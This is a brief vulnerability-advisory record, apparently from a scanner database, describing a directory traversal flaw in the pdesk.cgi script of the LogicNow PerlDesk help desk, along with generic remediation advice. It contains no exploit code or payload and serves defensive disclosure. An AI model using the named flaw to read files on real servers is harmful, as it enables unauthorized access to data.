<bug_vulnerability_class>Directory Traversal</bug_vulnerability_class>
<bug_description>The remote system is running LogicNow PerlDesk, a web based help desk and email management system written in Perl. There is a directory traversal in the script pdesk.cgi given. An attacker may use this to get access to files on the server system.</bug_description>
<bug_solution>If the web server is not used it should be de-installed or de-activated. Install the newest patch or bugfix to solve the problem or upgrade to the latest software version which is not vulnerable anymore. To make it harder to find the server the daemon could be configured to listen at another port (e.g. 8081). Alternation of the application banner can confuse an attacker and let him determine the wrong software. Additionally limit unwanted connections and communications with firewalling.</bug_solution>
